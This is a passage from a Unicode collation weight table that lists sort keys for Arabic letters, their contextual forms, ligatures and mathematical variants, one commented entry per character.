[.2307.0020.0017][.2325.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM INITIAL FORM -FC00 ; [.2307.0020.001A][.2325.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM -FC98 ; [.2307.0020.0017][.232C.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH INITIAL FORM -FC01 ; [.2307.0020.001A][.232C.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM -FC99 ; [.2307.0020.0017][.232D.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH KHAH INITIAL FORM -FC64 ; [.2307.0020.0019][.2346.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH REH FINAL FORM -FC65 ; [.2307.0020.0019][.2347.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ZAIN FINAL FORM -FC9A ; [.2307.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM INITIAL FORM -FCDF ; [.2307.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM MEDIAL FORM -FC66 ; [.2307.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM FINAL FORM -FC02 ; [.2307.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM -FC67 ; [.2307.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH NOON FINAL FORM -FC9B ; [.2307.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH INITIAL FORM -FCE0 ; [.2307.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM -FBED ; [.2307.0020.0019][.23B6.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM -FBEC ; [.2307.0020.001A][.23B6.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM -FBEF ; [.2307.0020.0019][.23B7.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM -FBEE ; [.2307.0020.001A][.23B7.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM -FBF3 ; [.2307.0020.0019][.23BA.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM -FBF2 ; [.2307.0020.001A][.23BA.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM -FBF1 ; [.2307.0020.0019][.23BB.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM -FBF0 ; [.2307.0020.001A][.23BB.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM -FBF5 ; [.2307.0020.0019][.23BC.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM -FBF4 ; [.2307.0020.001A][.23BC.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM -FBFB ; [.2307.0020.0017][.23C5.0020.0017] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM -FBFA ; [.2307.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM -FC68 ; [.2307.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM -FBF9 ; [.2307.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM -FC03 ; [.2307.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM -FC69 ; [.2307.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM -FC04 ; [.2307.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM -FBF8 ; [.2307.0020.0017][.23CA.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM -FBF7 ; [.2307.0020.0019][.23CA.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E FINAL FORM -FBF6 ; [.2307.0020.001A][.23CA.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM -08A8 ; [.2308.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND HAMZA ABOVE -08A9 ; [.2309.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE -08AC ; [.230A.0020.0002] # ARABIC LETTER ROHINGYA YEH -0627 ; [.230B.0020.0002] # ARABIC LETTER ALEF -08AD ; [.230B.0020.0004] # ARABIC LETTER LOW ALEF -1EE00 ; [.230B.0020.0005] # ARABIC MATHEMATICAL ALEF -1EE80 ; [.230B.0020.0005] # ARABIC MATHEMATICAL LOOPED ALEF -FE8E ; [.230B.0020.0019] # ARABIC LETTER ALEF FINAL FORM -FE8D ; [.230B.0020.001A] # ARABIC LETTER ALEF ISOLATED FORM -FD3C ; [.230B.0020.0019][.0000.006D.0019] # ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM -FD3D ; [.230B.0020.001A][.0000.006D.001A] # ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM -0675 ; [.230B.0020.0004][.22FD.0020.0004] # ARABIC LETTER HIGH HAMZA ALEF -FDF3 ; [.230B.0020.001A][.2387.0020.001A][.230D.0020.001A][.2346.0020.001A] # ARABIC LIGATURE AKBAR ISOLATED FORM -FDF2 ; [.230B.0020.001A][.239C.0020.001A][.239C.0020.001A][.23B1.0020.001A] # ARABIC LIGATURE ALLAH ISOLATED FORM -066E ; [.230C.0020.0002] # ARABIC LETTER DOTLESS BEH -1EE1C ; [.230C.0020.0005] # ARABIC MATHEMATICAL DOTLESS BEH -1EE7C ; [.230C.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS BEH -0628 ; [.230D.0020.0002] # ARABIC LETTER BEH -1EE01 ; [.230D.0020.0005] # ARABIC MATHEMATICAL BEH -1EE21 ; [.230D.0020.0005] # ARABIC MATHEMATICAL INITIAL BEH -1EE61 ; [.230D.0020.0005] # ARABIC MATHEMATICAL STRETCHED BEH -1EE81 ; [.230D.0020.0005] # ARABIC MATHEMATICAL LOOPED BEH -1EEA1 ; [.230D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK BEH -FE91 ; [.230D.0020.0017] # ARABIC LETTER BEH INITIAL FORM -FE92 ; [.230D.0020.0018] # ARABIC LETTER BEH MEDIAL FORM -FE90 ; [.230D.0020.0019] # ARABIC LETTER BEH FINAL FORM -FE8F ; [.230D.0020.001A] # ARABIC LETTER BEH ISOLATED FORM -FC9C ; [.230D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE BEH WITH JEEM INITIAL FORM -FC05 ; [.230D.0020.001A][.2325.0020.001A] # ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM -FC9D ; [.230D.0020.0017][.232C.0020.0017] # ARABIC LIGATURE BEH WITH HAH INITIAL FORM -FC06 ; [.230D.0020.001A][.232C.0020.001A] # ARABIC LIGATURE BEH WITH HAH ISOLATED FORM -FDC2 ; [.230D.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM -FC9E ; [.230D.0020.0017][.232D.0020.0017] # ARABIC LIGATURE BEH WITH KHAH INITIAL FORM -FC07 ; [.230D.0020.001A][.232D.0020.001A] # ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM -FD9E ; [.230D.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM -FC6A ; [.230D.0020.0019][.2346.0020.0019] # ARABIC LIGATURE BEH WITH REH FINAL FORM -FC6B ; [.230D.0020.0019][.2347.0020.0019] # ARABIC LIGATURE BEH WITH ZAIN FINAL FORM -FC9F ; [.230D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE BEH WITH MEEM INITIAL FORM -FCE1 ; [.230D.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM -FC6C ; [.230D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE BEH WITH MEEM FINAL FORM -FC08 ; [.230D.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM -FC6D ; [.230D.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE BEH WITH NOON FINAL FORM -FCA0 ; [.230D.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE BEH WITH HEH INITIAL FORM -FCE2 ; [.230D.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE BEH WITH HEH MEDIAL FORM -FC6E ; [.230D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM -FC09 ; [.230D.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM -FC6F ; [.230D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE BEH WITH YEH FINAL FORM -FC0A ; [.230D.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE BEH WITH YEH ISOLATED FORM -067B ; [.230E.0020.0002] # ARABIC LETTER BEEH -FB54 ; [.230E.0020.0017] # ARABIC LETTER BEEH INITIAL FORM -FB55 ; [.230E.0020.0018] # ARABIC LETTER BEEH MEDIAL FORM -FB53 ; [.230E.0020.0019] # ARABIC LETTER BEEH FINAL FORM -FB52 ; [.230E.0020.001A] # ARABIC LETTER BEEH ISOLATED FORM -067E ; [.230F.0020.0002] # ARABIC LETTER PEH -FB58 ; [.230F.0020.0017] # ARABIC LETTER PEH INITIAL FORM -FB59 ; [.230F.0020.0018] # ARABIC LETTER PEH MEDIAL FORM -FB57 ; [.230F.0020.0019] # ARABIC LETTER PEH FINAL FORM -FB56 ; [.230F.0020.001A] # ARABIC LETTER PEH ISOLATED FORM -0680 ; [.2310.0020.0002] # ARABIC LETTER BEHEH -FB5C ; [.2310.0020.0017] # ARABIC LETTER BEHEH INITIAL FORM -FB5D ; [.2310.0020.0018] # ARABIC LETTER BEHEH MEDIAL FORM -FB5B ; [.2310.0020.0019] # ARABIC LETTER BEHEH FINAL FORM -FB5A ; [.2310.0020.001A] # ARABIC LETTER BEHEH ISOLATED FORM -0750 ; [.2311.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW -0751 ; [.2312.0020.0002] # ARABIC LETTER BEH WITH DOT BELOW AND THREE DOTS ABOVE -0752 ; [.2313.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW -0753 ; [.2314.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW AND TWO DOTS ABOVE -0754 ; [.2315.0020.0002] # ARABIC LETTER BEH WITH TWO DOTS BELOW AND DOT ABOVE -0755 ; [.2316.0020.0002] # ARABIC LETTER BEH WITH INVERTED SMALL V BELOW -08A0 ; [.2317.0020.0002] # ARABIC LETTER BEH WITH SMALL V BELOW -0756 ; [.2318.0020.0002] # ARABIC LETTER BEH WITH SMALL V -08A1 ; [.2319.0020.0002] # ARABIC LETTER BEH WITH HAMZA ABOVE -08B6 ; [.231A.0020.0002] # ARABIC LETTER BEH WITH SMALL MEEM ABOVE -08B7 ; [.231B.0020.0002] # ARABIC LETTER PEH WITH SMALL MEEM ABOVE -0629 ; [.231C.0020.0002] # ARABIC LETTER TEH MARBUTA -FE94 ; [.231C.0020.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM -FE93 ; [.231C.0020.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM -062A ; [.231D.0020.0002] # ARABIC LETTER TEH -1EE15 ; [.231D.0020.0005] # ARABIC MATHEMATICAL TEH -1EE35 ; [.231D.0020.0005] # ARABIC MATHEMATICAL INITIAL TEH -1EE75 ; [.231D.0020.0005] # ARABIC MATHEMATICAL STRETCHED TEH -1EE95 ; [.231D.0020.0005] # ARABIC MATHEMATICAL LOOPED TEH -1EEB5 ; [.231D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TEH -FE97 ; [.231D.0020.0017] # ARABIC LETTER TEH INITIAL FORM -FE98 ; [.231D.0020.0018] # ARABIC LETTER TEH MEDIAL FORM -FE96 ; [.231D.0020.0019] # ARABIC LETTER TEH FINAL FORM -FE95 ; [.231D.0020.001A] # ARABIC LETTER TEH ISOLATED FORM -FCA1 ; [.231D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH JEEM INITIAL FORM -FC0B ; [.231D.0020.001A][.2325.0020.001A] # ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM -FD50 ; [.231D.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM -FDA0 ; [.231D.0020.0019][.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM -FD9F ; [.231D.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM -FCA2 ; [.231D.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TEH WITH HAH INITIAL FORM -FC0C ; [.231D.0020.001A][.232C.0020.001A] # ARABIC LIGATURE TEH WITH HAH ISOLATED FORM -FD52 ; [.231D.0020.0017][.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM -FD51 ; [.231D.0020.0019][.232C.0020.0019][.2325.0020.0019] # ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM -FD53 ; [.231D.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM -FCA3 ; [.231D.0020.0017][.232D.0020.0017] # ARABIC LIGATURE TEH WITH KHAH INITIAL FORM -FC0D ; [.231D.0020.001A][.232D.0020.001A] # ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM -FD54 ; [.231D.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM -FDA2 ; [.231D.0020.0019][.232D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM -FDA1 ; [.231D.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM -FC70 ; [.231D.0020.0019][.2346.0020.0019] # ARABIC LIGATURE TEH WITH REH FINAL FORM -FC71 ; [.231D.0020.0019][.2347.0020.0019] # ARABIC LIGATURE TEH WITH ZAIN FINAL FORM -FCA4 ; [.231D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE TEH WITH MEEM INITIAL FORM -FCE3 ; [.231D.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM -FC72 ; [.231D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE TEH WITH MEEM FINAL FORM -FC0E ; [.231D.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM -FD55 ; [.231D.0020.0017][.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM -FD56 ; [.231D.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM -FD57 ; [.231D.0020.0017][.23A3.0020.0017][.232D.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM -FDA4 ; [.231D.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM -FDA3 ; [.231D.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM -FC73 ; [.231D.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE TEH WITH NOON FINAL FORM -FCA5 ; [.231D.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE TEH WITH HEH INITIAL FORM -FCE4 ; [.231D.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE TEH WITH HEH MEDIAL FORM -FC74 ; [.231D.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM -FC0F ; [.231D.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM -FC75 ; [.231D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE TEH WITH YEH FINAL FORM -FC10 ; [.231D.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE TEH WITH YEH ISOLATED FORM -062B ; [.231E.0020.0002] # ARABIC LETTER THEH -1EE16 ; [.231E.0020.0005] # ARABIC MATHEMATICAL THEH -1EE36 ; [.231E.0020.0005] # ARABIC MATHEMATICAL INITIAL THEH -1EE76 ; [.231E.0020.0005] # ARABIC MATHEMATICAL STRETCHED THEH -1EE96 ; [.231E.0020.0005] # ARABIC MATHEMATICAL LOOPED THEH -1EEB6 ; [.231E.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THEH -FE9B ; [.231E.0020.0017] # ARABIC LETTER THEH INITIAL FORM -FE9C ; [.231E.0020.0018] # ARABIC LETTER THEH MEDIAL FORM -FE9A ; [.231E.0020.0019] # ARABIC LETTER THEH FINAL FORM -FE99 ; [.231E.0020.001A] # ARABIC LETTER THEH ISOLATED FORM -FC11 ; [.231E.0020.001A][.2325.0020.001A] # ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM -FC76 ; [.231E.0020.0019][.2346.0020.0019] # ARABIC LIGATURE THEH WITH REH FINAL FORM -FC77 ; [.231E.0020.0019][.2347.0020.0019] # ARABIC LIGATURE THEH WITH ZAIN FINAL FORM -FCA6 ; [.231E.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE THEH WITH MEEM INITIAL FORM -FCE5 ; [.231E.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM -FC78 ; [.231E.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE THEH WITH MEEM FINAL FORM -FC12 ; [.231E.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM -FC79 ; [.231E.0020.0019][.23A7.0020.0019] # ARABIC LIGATURE THEH WITH NOON FINAL FORM -FCE6 ; [.231E.0020.0018][.23B1.0020.0018] # ARABIC LIGATURE THEH WITH HEH MEDIAL FORM -FC7A ; [.231E.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM -FC13 ; [.231E.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM -FC7B ; [.231E.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE THEH WITH YEH FINAL FORM -FC14 ; [.231E.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE THEH WITH YEH ISOLATED FORM -0679 ; [.231F.0020.0002] # ARABIC LETTER TTEH -FB68 ; [.231F.0020.0017] # ARABIC LETTER TTEH INITIAL FORM -FB69 ; [.231F.0020.0018] # ARABIC LETTER TTEH MEDIAL FORM -FB67 ; [.231F.0020.0019] # ARABIC LETTER TTEH FINAL FORM -FB66 ; [.231F.0020.001A] # ARABIC LETTER TTEH ISOLATED FORM -067A ; [.2320.0020.0002] # ARABIC LETTER TTEHEH -FB60 ; [.2320.0020.0017] # ARABIC LETTER TTEHEH INITIAL FORM -FB61 ; [.2320.0020.0018] # ARABIC LETTER TTEHEH MEDIAL FORM -FB5F ; [.2320.0020.0019] # ARABIC LETTER TTEHEH FINAL FORM -FB5E ; [.2320.0020.001A] # ARABIC LETTER TTEHEH ISOLATED FORM -067C ; [.2321.0020.0002] # ARABIC LETTER TEH WITH RING -067D ; [.2322.0020.0002] # ARABIC LETTER TEH WITH THREE DOTS ABOVE DOWNWARDS -067F ; [.2323.0020.0002] # ARABIC LETTER TEHEH -FB64 ; [.2323.0020.0017] # ARABIC LETTER TEHEH INITIAL FORM -FB65 ; [.2323.0020.0018] # ARABIC LETTER TEHEH MEDIAL FORM -FB63 ; [.2323.0020.0019] # ARABIC LETTER TEHEH FINAL FORM -FB62 ; [.2323.0020.001A] # ARABIC LETTER TEHEH ISOLATED FORM -08B8 ; [.2324.0020.0002] # ARABIC LETTER TEH WITH SMALL TEH ABOVE -062C ; [.2325.0020.0002] # ARABIC LETTER JEEM -1EE02 ; [.2325.0020.0005] # ARABIC MATHEMATICAL JEEM -1EE22 ; [.2325.0020.0005] # ARABIC MATHEMATICAL INITIAL JEEM -1EE42 ; [.2325.0020.0005] # ARABIC MATHEMATICAL TAILED JEEM -1EE62 ; [.2325.0020.0005] # ARABIC MATHEMATICAL STRETCHED JEEM -1EE82 ; [.2325.0020.0005] # ARABIC MATHEMATICAL LOOPED JEEM -1EEA2 ; [.2325.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK JEEM -FE9F ; [.2325.0020.0017] # ARABIC LETTER JEEM INITIAL FORM -FEA0 ; [.2325.0020.0018] # ARABIC LETTER JEEM MEDIAL FORM -FE9E ; [.2325.0020.0019] # ARABIC LETTER JEEM FINAL FORM -FE9D ; [.2325.0020.001A] # ARABIC LETTER JEEM ISOLATED FORM -FCA7 ; [.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE JEEM WITH HAH INITIAL FORM -FC15 ; [.2325.0020.001A][.232C.0020.001A] # ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM -FDA6 ; [.2325.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM -FDBE ; [.2325.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM -FDFB ; [.2325.0020.001A][.239C.0020.001A][*0209.0020.001A][.2325.0020.001A][.239C.0020.001A][.230B.0020.001A][.239C.0020.001A][.23B1.0020.001A] # ARABIC LIGATURE JALLAJALALOUHOU -FCA8 ; [.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM -FC16 ; [.2325.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM -FD59 ; [.2325.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM -FD58 ; [.2325.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM -FDA7 ; [.2325.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM -FDA5 ; [.2325.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM -FD1D ; [.2325.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM -FD01 ; [.2325.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM -FD1E ; [.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE JEEM WITH YEH FINAL FORM -FD02 ; [.2325.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM -0683 ; [.2326.0020.0002] # ARABIC LETTER NYEH -FB78 ; [.2326.0020.0017] # ARABIC LETTER NYEH INITIAL FORM -FB79 ; [.2326.0020.0018] # ARABIC LETTER NYEH MEDIAL FORM -FB77 ; [.2326.0020.0019] # ARABIC LETTER NYEH FINAL FORM -FB76 ; [.2326.0020.001A] # ARABIC LETTER NYEH ISOLATED FORM -0684 ; [.2327.0020.0002] # ARABIC LETTER DYEH -FB74 ; [.2327.0020.0017] # ARABIC LETTER DYEH INITIAL FORM -FB75 ; [.2327.0020.0018] # ARABIC LETTER DYEH MEDIAL FORM -FB73 ; [.2327.0020.0019] # ARABIC LETTER DYEH FINAL FORM -FB72 ; [.2327.0020.001A] # ARABIC LETTER DYEH ISOLATED FORM -0686 ; [.2328.0020.0002] # ARABIC LETTER TCHEH -FB7C ; [.2328.0020.0017] # ARABIC LETTER TCHEH INITIAL FORM -FB7D ; [.2328.0020.0018] # ARABIC LETTER TCHEH MEDIAL FORM -FB7B ; [.2328.0020.0019] # ARABIC LETTER TCHEH FINAL FORM -FB7A ; [.2328.0020.001A] # ARABIC LETTER TCHEH ISOLATED FORM -06BF ; [.2329.0020.0002] # ARABIC LETTER TCHEH WITH DOT ABOVE -0687 ; [.232A.0020.0002] # ARABIC LETTER TCHEHEH -FB80 ; [.232A.0020.0017] # ARABIC LETTER TCHEHEH INITIAL FORM -FB81 ; [.232A.0020.0018] # ARABIC LETTER TCHEHEH MEDIAL FORM -FB7F ; [.232A.0020.0019] # ARABIC LETTER TCHEHEH FINAL FORM -FB7E ; [.232A.0020.001A] # ARABIC LETTER TCHEHEH ISOLATED FORM -08A2 ; [.232B.0020.0002] # ARABIC LETTER JEEM WITH TWO DOTS ABOVE -062D ; [.232C.0020.0002] # ARABIC LETTER HAH -1EE07 ; [.232C.0020.0005] # ARABIC MATHEMATICAL HAH -1EE27 ; [.232C.0020.0005] # ARABIC MATHEMATICAL INITIAL HAH -1EE47 ; [.232C.0020.0005] # ARABIC MATHEMATICAL TAILED HAH -1EE67 ; [.232C.0020.0005] # ARABIC MATHEMATICAL STRETCHED HAH -1EE87 ; [.232C.0020.0005] # ARABIC MATHEMATICAL LOOPED HAH -1EEA7 ; [.232C.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK HAH -FEA3 ; [.232C.0020.0017] # ARABIC LETTER HAH INITIAL FORM -FEA4 ; [.232C.0020.0018] # ARABIC LETTER HAH MEDIAL FORM -FEA2 ; [.232C.0020.0019] # ARABIC LETTER HAH FINAL FORM -FEA1 ; [.232C.0020.001A] # ARABIC LETTER HAH ISOLATED FORM -FCA9 ; [.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE HAH WITH JEEM INITIAL FORM -FC17 ; [.232C.0020.001A][.2325.0020.001A] # ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM -FDBF ; [.232C.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM -FCAA ; [.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE HAH WITH MEEM INITIAL FORM -FC18 ; [.232C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM -FD5B ; [.232C.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM -FD5A ; [.232C.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM -FD1B ; [.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM -FCFF ; [.232C.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM -FD1C ; [.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE HAH WITH YEH FINAL FORM -FD00 ; [.232C.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE HAH WITH YEH ISOLATED FORM -062E ; [.232D.0020.0002] # ARABIC LETTER KHAH -1EE17 ; [.232D.0020.0005] # ARABIC MATHEMATICAL KHAH -1EE37 ; [.232D.0020.0005] # ARABIC MATHEMATICAL INITIAL KHAH -1EE57 ; [.232D.0020.0005] # ARABIC MATHEMATICAL TAILED KHAH -1EE77 ; [.232D.0020.0005] # ARABIC MATHEMATICAL STRETCHED KHAH -1EE97 ; [.232D.0020.0005] # ARABIC MATHEMATICAL LOOPED KHAH -1EEB7 ; [.232D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK KHAH -FEA7 ; [.232D.0020.0017] # ARABIC LETTER KHAH INITIAL FORM -FEA8 ; [.232D.0020.0018] # ARABIC LETTER KHAH MEDIAL FORM -FEA6 ; [.232D.0020.0019] # ARABIC LETTER KHAH FINAL FORM -FEA5 ; [.232D.0020.001A] # ARABIC LETTER KHAH ISOLATED FORM -FCAB ; [.232D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM -FC19 ; [.232D.0020.001A][.2325.0020.001A] # ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM -FC1A ; [.232D.0020.001A][.232C.0020.001A] # ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM -FCAC ; [.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM -FC1B ; 